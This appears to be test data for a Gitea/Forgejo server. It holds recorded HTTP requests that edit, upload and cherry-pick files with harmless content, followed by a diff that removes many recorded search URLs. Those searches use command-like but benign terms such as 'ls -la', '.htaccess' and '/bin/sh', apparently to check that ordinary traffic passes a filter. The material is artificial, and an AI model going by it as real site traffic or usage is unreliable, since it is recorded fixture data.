{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 111", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add notes\", \"head\": \"update-powershell-docs\", \"base\": \"python3-docs\", \"body\": \"Notes on the build.\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 119", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Pin nginx 1.28\", \"head\": \"feat/python3-support\", \"base\": \"fix-powershell-module\", \"body\": \"Pins the image.\"}"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_edit/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 863", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaivMiokQADQq4NtY", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\n.htaccess\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nOptions -Indexes\r\n# No directory listings\r\n\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nUpdate .htaccess\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nffc08c9292a98056320d2bd18dcbbf59f6a295a6\r\n------WebKitFormBoundaryaivMiokQADQq4NtY--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_edit/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 892", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAq0SOTFSXOPVKHAq", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\nscripts/install-script.sh\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\necho Installing the tools.\r\necho Done.\r\n\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nUpdate scripts/install-script.sh\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\ncdbcc43e2d95fc5e44c4e9ede83a863325e7d668\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 205", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyheLYQzsxsqzKRYN", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryyheLYQzsxsqzKRYN\r\nContent-Disposition: form-data; name=\"file\"; filename=\"release-notes.txt\"\r\nContent-Type: text/plain\r\n\r\nRelease notes\n\r\n------WebKitFormBoundaryyheLYQzsxsqzKRYN--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_upload/main/docs", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 877", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyCFnA1BqZxxqB6yV", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocs\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"files\"\r\n\r\nb3d7a2fa-6915-4cd3-a102-8bb6b2a6b265\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nUpload the release notes\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nfeat/docker-support\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 191", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB2uzyhPAU3D4O015", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryB2uzyhPAU3D4O015\r\nContent-Disposition: form-data; name=\"file\"; filename=\"build.ps1\"\r\nContent-Type: text/plain\r\n\r\n# Build\n\r\n------WebKitFormBoundaryB2uzyhPAU3D4O015--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_upload/main/scripts/powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 898", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABbslrrmQcLLjC7K", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\nscripts/powershell\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"files\"\r\n\r\n0c3fbe09-3186-4d0e-a023-0cca305dc542\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nAdd a PowerShell build script\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nfix-powershell-module\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 739", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryka8jcMXzaKnykzrG", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"revert\"\r\n\r\nfalse\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nDocument .htaccess\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\npython3-migration\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 744", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySlKUAJALvUFixMGa", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"revert\"\r\n\r\nfalse\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nDocument .htaccess\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nupdate-powershell-docs\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundarySlKUAJALvUFixMGa--\r\n"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 388", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"create\", \"path\": \"docs/setup.md\", \"content\": \"IyBTZXR1cAo=\"}, {\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKUnVuIHRoZSB0ZXN0cyBiZWZvcmUgYSByZWxlYXNlLgpTZWUgc2V0dXAubWQuCg==\", \"sha\": \"fb5a6e4c18bfe5f548e708d52b57f2aa58f7b2a8\"}], \"message\": \"Add the PowerShell setup notes\", \"branch\": \"python3-docs\", \"new_branch\": \"fix-powershell-docs\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 282", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKVGhlIHdlYiBzZXJ2ZXIgcmVhZHMgLmh0YWNjZXNzLgo=\", \"sha\": \"17e0f0dedfdc83c924c6399a21434fc8240f488c\"}], \"message\": \"Document .htaccess\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"python3-notes\"}"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_preview/main/docs/setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 44", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docs/setup.md", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "content=%23+Setup%0A%0AInstall+the+tools.%0A"}
|
|
||||||
{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 31", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"feat/docker-support\"}"}
|
|
||||||
{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 33", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"fix-powershell-module\"}"}
|
|
||||||
-290
@@ -91,296 +91,6 @@
|
|||||||
/explore/organizations?q=docker-ci
|
/explore/organizations?q=docker-ci
|
||||||
/api/v1/users/search?q=docker-ci
|
/api/v1/users/search?q=docker-ci
|
||||||
|
|
||||||
# Searches of the repositories on a user's and an organisation's page, recorded
|
|
||||||
# from gitea 1.27.3.
|
|
||||||
/alice?tab=repositories&q=ls+-la&sort=recentupdate
|
|
||||||
/alice?tab=repositories&q=python3&sort=recentupdate
|
|
||||||
/alice?tab=repositories&q=powershell&sort=recentupdate
|
|
||||||
/alice?tab=repositories&q=.htaccess&sort=recentupdate
|
|
||||||
/acme?q=ls+-la&sort=recentupdate
|
|
||||||
/acme?q=python3&sort=recentupdate
|
|
||||||
/acme?q=powershell&sort=recentupdate
|
|
||||||
/acme?q=.htaccess&sort=recentupdate
|
|
||||||
|
|
||||||
# The searches of the pages gitea and Forgejo share, with the fields their
|
|
||||||
# forms send, recorded from gitea 1.27.3. Each searches for words that name
|
|
||||||
# commands and files, such as python3 and .htaccess, and for plain words. A tag
|
|
||||||
# or package name can hold a slash, so the tags and packages pages also search
|
|
||||||
# for /bin/sh. The packages pages also search for a Maven name. The issues and
|
|
||||||
# pull requests of one team, and those of one milestone, are also searched for
|
|
||||||
# SQL. Each search of a package's versions is sent for a generic package and for
|
|
||||||
# the npm package @alice/tools-cli, whose name holds a slash.
|
|
||||||
/explore/topics/search?q=python3
|
|
||||||
/pulls?type=your_repositories&sort=recentupdate&state=open&q=python3&search_mode=exact
|
|
||||||
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=python3
|
|
||||||
/issues/search?q=python3
|
|
||||||
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=python3&page=1&limit=15&mode=&archived=false
|
|
||||||
/user/search_candidates?q=python3
|
|
||||||
/notifications/watching?q=python3&sort=recentupdate
|
|
||||||
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=python3&search_mode=exact
|
|
||||||
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=python3&search_mode=exact
|
|
||||||
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=python3
|
|
||||||
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=python3&search_mode=exact
|
|
||||||
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=python3&search_mode=exact
|
|
||||||
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=python3
|
|
||||||
/org/acme/teams/-/search?q=python3
|
|
||||||
/alice/-/code?q=python3&search_mode=exact
|
|
||||||
/alice/-/projects?state=open&q=python3
|
|
||||||
/alice/-/packages/generic/tools-cli/versions?q=python3&sort=created_desc
|
|
||||||
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=python3&sort=created_desc
|
|
||||||
/alice/tools/tags?q=python3
|
|
||||||
/alice/tools/milestones?state=open&q=python3
|
|
||||||
/alice/tools/milestone/1?q=python3
|
|
||||||
/alice/tools/projects?state=open&q=python3
|
|
||||||
/alice/tools/packages?q=python3&type=
|
|
||||||
/alice/tools/issues/posters?q=python3
|
|
||||||
/alice/tools/pulls/posters?q=python3
|
|
||||||
/alice/tools/issues/search?q=python3
|
|
||||||
/alice/tools/issues/suggestions?q=python3
|
|
||||||
/-/admin/actions/runners?q=python3
|
|
||||||
/user/settings/actions/runners?q=python3
|
|
||||||
/org/acme/settings/actions/runners?q=python3
|
|
||||||
/alice/tools/settings/actions/runners?q=python3
|
|
||||||
/-/admin/users?q=python3
|
|
||||||
/-/admin/orgs?q=python3
|
|
||||||
/-/admin/repos?q=python3&sort=recentupdate
|
|
||||||
/-/admin/repos/unadopted?search=true&q=python3
|
|
||||||
/-/admin/emails?q=python3
|
|
||||||
/-/admin/packages?q=python3&type=
|
|
||||||
/explore/topics/search?q=powershell
|
|
||||||
/pulls?type=your_repositories&sort=recentupdate&state=open&q=powershell&search_mode=exact
|
|
||||||
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=powershell
|
|
||||||
/issues/search?q=powershell
|
|
||||||
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=powershell&page=1&limit=15&mode=&archived=false
|
|
||||||
/user/search_candidates?q=powershell
|
|
||||||
/notifications/watching?q=powershell&sort=recentupdate
|
|
||||||
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=powershell&search_mode=exact
|
|
||||||
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=powershell&search_mode=exact
|
|
||||||
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=powershell
|
|
||||||
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=powershell&search_mode=exact
|
|
||||||
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=powershell&search_mode=exact
|
|
||||||
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=powershell
|
|
||||||
/org/acme/teams/-/search?q=powershell
|
|
||||||
/alice/-/code?q=powershell&search_mode=exact
|
|
||||||
/alice/-/projects?state=open&q=powershell
|
|
||||||
/alice/-/packages/generic/tools-cli/versions?q=powershell&sort=created_desc
|
|
||||||
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=powershell&sort=created_desc
|
|
||||||
/alice/tools/tags?q=powershell
|
|
||||||
/alice/tools/milestones?state=open&q=powershell
|
|
||||||
/alice/tools/milestone/1?q=powershell
|
|
||||||
/alice/tools/projects?state=open&q=powershell
|
|
||||||
/alice/tools/packages?q=powershell&type=
|
|
||||||
/alice/tools/issues/posters?q=powershell
|
|
||||||
/alice/tools/pulls/posters?q=powershell
|
|
||||||
/alice/tools/issues/search?q=powershell
|
|
||||||
/alice/tools/issues/suggestions?q=powershell
|
|
||||||
/-/admin/actions/runners?q=powershell
|
|
||||||
/user/settings/actions/runners?q=powershell
|
|
||||||
/org/acme/settings/actions/runners?q=powershell
|
|
||||||
/alice/tools/settings/actions/runners?q=powershell
|
|
||||||
/-/admin/users?q=powershell
|
|
||||||
/-/admin/orgs?q=powershell
|
|
||||||
/-/admin/repos?q=powershell&sort=recentupdate
|
|
||||||
/-/admin/repos/unadopted?search=true&q=powershell
|
|
||||||
/-/admin/emails?q=powershell
|
|
||||||
/-/admin/packages?q=powershell&type=
|
|
||||||
/explore/topics/search?q=ls%20-la
|
|
||||||
/pulls?type=your_repositories&sort=recentupdate&state=open&q=ls%20-la&search_mode=exact
|
|
||||||
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=ls%20-la
|
|
||||||
/issues/search?q=ls%20-la
|
|
||||||
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=ls%20-la&page=1&limit=15&mode=&archived=false
|
|
||||||
/user/search_candidates?q=ls%20-la
|
|
||||||
/notifications/watching?q=ls%20-la&sort=recentupdate
|
|
||||||
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=ls%20-la&search_mode=exact
|
|
||||||
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=ls%20-la&search_mode=exact
|
|
||||||
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=ls%20-la
|
|
||||||
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=ls%20-la&search_mode=exact
|
|
||||||
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=ls%20-la&search_mode=exact
|
|
||||||
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=ls%20-la
|
|
||||||
/org/acme/teams/-/search?q=ls%20-la
|
|
||||||
/alice/-/code?q=ls%20-la&search_mode=exact
|
|
||||||
/alice/-/projects?state=open&q=ls%20-la
|
|
||||||
/alice/-/packages/generic/tools-cli/versions?q=ls%20-la&sort=created_desc
|
|
||||||
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=ls%20-la&sort=created_desc
|
|
||||||
/alice/tools/tags?q=ls%20-la
|
|
||||||
/alice/tools/milestones?state=open&q=ls%20-la
|
|
||||||
/alice/tools/milestone/1?q=ls%20-la
|
|
||||||
/alice/tools/projects?state=open&q=ls%20-la
|
|
||||||
/alice/tools/packages?q=ls%20-la&type=
|
|
||||||
/alice/tools/issues/posters?q=ls%20-la
|
|
||||||
/alice/tools/pulls/posters?q=ls%20-la
|
|
||||||
/alice/tools/issues/search?q=ls%20-la
|
|
||||||
/alice/tools/issues/suggestions?q=ls%20-la
|
|
||||||
/-/admin/actions/runners?q=ls%20-la
|
|
||||||
/user/settings/actions/runners?q=ls%20-la
|
|
||||||
/org/acme/settings/actions/runners?q=ls%20-la
|
|
||||||
/alice/tools/settings/actions/runners?q=ls%20-la
|
|
||||||
/-/admin/users?q=ls%20-la
|
|
||||||
/-/admin/orgs?q=ls%20-la
|
|
||||||
/-/admin/repos?q=ls%20-la&sort=recentupdate
|
|
||||||
/-/admin/repos/unadopted?search=true&q=ls%20-la
|
|
||||||
/-/admin/emails?q=ls%20-la
|
|
||||||
/-/admin/packages?q=ls%20-la&type=
|
|
||||||
/explore/topics/search?q=.htaccess
|
|
||||||
/pulls?type=your_repositories&sort=recentupdate&state=open&q=.htaccess&search_mode=exact
|
|
||||||
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=.htaccess
|
|
||||||
/issues/search?q=.htaccess
|
|
||||||
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=.htaccess&page=1&limit=15&mode=&archived=false
|
|
||||||
/user/search_candidates?q=.htaccess
|
|
||||||
/notifications/watching?q=.htaccess&sort=recentupdate
|
|
||||||
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=.htaccess&search_mode=exact
|
|
||||||
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=.htaccess&search_mode=exact
|
|
||||||
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=.htaccess
|
|
||||||
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=.htaccess&search_mode=exact
|
|
||||||
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=.htaccess&search_mode=exact
|
|
||||||
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=.htaccess
|
|
||||||
/org/acme/teams/-/search?q=.htaccess
|
|
||||||
/alice/-/code?q=.htaccess&search_mode=exact
|
|
||||||
/alice/-/projects?state=open&q=.htaccess
|
|
||||||
/alice/-/packages/generic/tools-cli/versions?q=.htaccess&sort=created_desc
|
|
||||||
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=.htaccess&sort=created_desc
|
|
||||||
/alice/tools/tags?q=.htaccess
|
|
||||||
/alice/tools/milestones?state=open&q=.htaccess
|
|
||||||
/alice/tools/milestone/1?q=.htaccess
|
|
||||||
/alice/tools/projects?state=open&q=.htaccess
|
|
||||||
/alice/tools/packages?q=.htaccess&type=
|
|
||||||
/alice/tools/issues/posters?q=.htaccess
|
|
||||||
/alice/tools/pulls/posters?q=.htaccess
|
|
||||||
/alice/tools/issues/search?q=.htaccess
|
|
||||||
/alice/tools/issues/suggestions?q=.htaccess
|
|
||||||
/-/admin/actions/runners?q=.htaccess
|
|
||||||
/user/settings/actions/runners?q=.htaccess
|
|
||||||
/org/acme/settings/actions/runners?q=.htaccess
|
|
||||||
/alice/tools/settings/actions/runners?q=.htaccess
|
|
||||||
/-/admin/users?q=.htaccess
|
|
||||||
/-/admin/orgs?q=.htaccess
|
|
||||||
/-/admin/repos?q=.htaccess&sort=recentupdate
|
|
||||||
/-/admin/repos/unadopted?search=true&q=.htaccess
|
|
||||||
/-/admin/emails?q=.htaccess
|
|
||||||
/-/admin/packages?q=.htaccess&type=
|
|
||||||
/explore/topics/search?q=docker-compose.yml
|
|
||||||
/pulls?type=your_repositories&sort=recentupdate&state=open&q=docker-compose.yml&search_mode=exact
|
|
||||||
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=docker-compose.yml
|
|
||||||
/issues/search?q=docker-compose.yml
|
|
||||||
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=docker-compose.yml&page=1&limit=15&mode=&archived=false
|
|
||||||
/user/search_candidates?q=docker-compose.yml
|
|
||||||
/notifications/watching?q=docker-compose.yml&sort=recentupdate
|
|
||||||
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=docker-compose.yml&search_mode=exact
|
|
||||||
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=docker-compose.yml&search_mode=exact
|
|
||||||
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=docker-compose.yml
|
|
||||||
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=docker-compose.yml&search_mode=exact
|
|
||||||
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=docker-compose.yml&search_mode=exact
|
|
||||||
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=docker-compose.yml
|
|
||||||
/org/acme/teams/-/search?q=docker-compose.yml
|
|
||||||
/acme?q=docker-compose.yml&sort=recentupdate
|
|
||||||
/alice/-/code?q=docker-compose.yml&search_mode=exact
|
|
||||||
/alice/-/projects?state=open&q=docker-compose.yml
|
|
||||||
/alice/-/packages/generic/tools-cli/versions?q=docker-compose.yml&sort=created_desc
|
|
||||||
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=docker-compose.yml&sort=created_desc
|
|
||||||
/alice/tools/tags?q=docker-compose.yml
|
|
||||||
/alice/tools/milestones?state=open&q=docker-compose.yml
|
|
||||||
/alice/tools/milestone/1?q=docker-compose.yml
|
|
||||||
/alice/tools/projects?state=open&q=docker-compose.yml
|
|
||||||
/alice/tools/packages?q=docker-compose.yml&type=
|
|
||||||
/alice/tools/issues/posters?q=docker-compose.yml
|
|
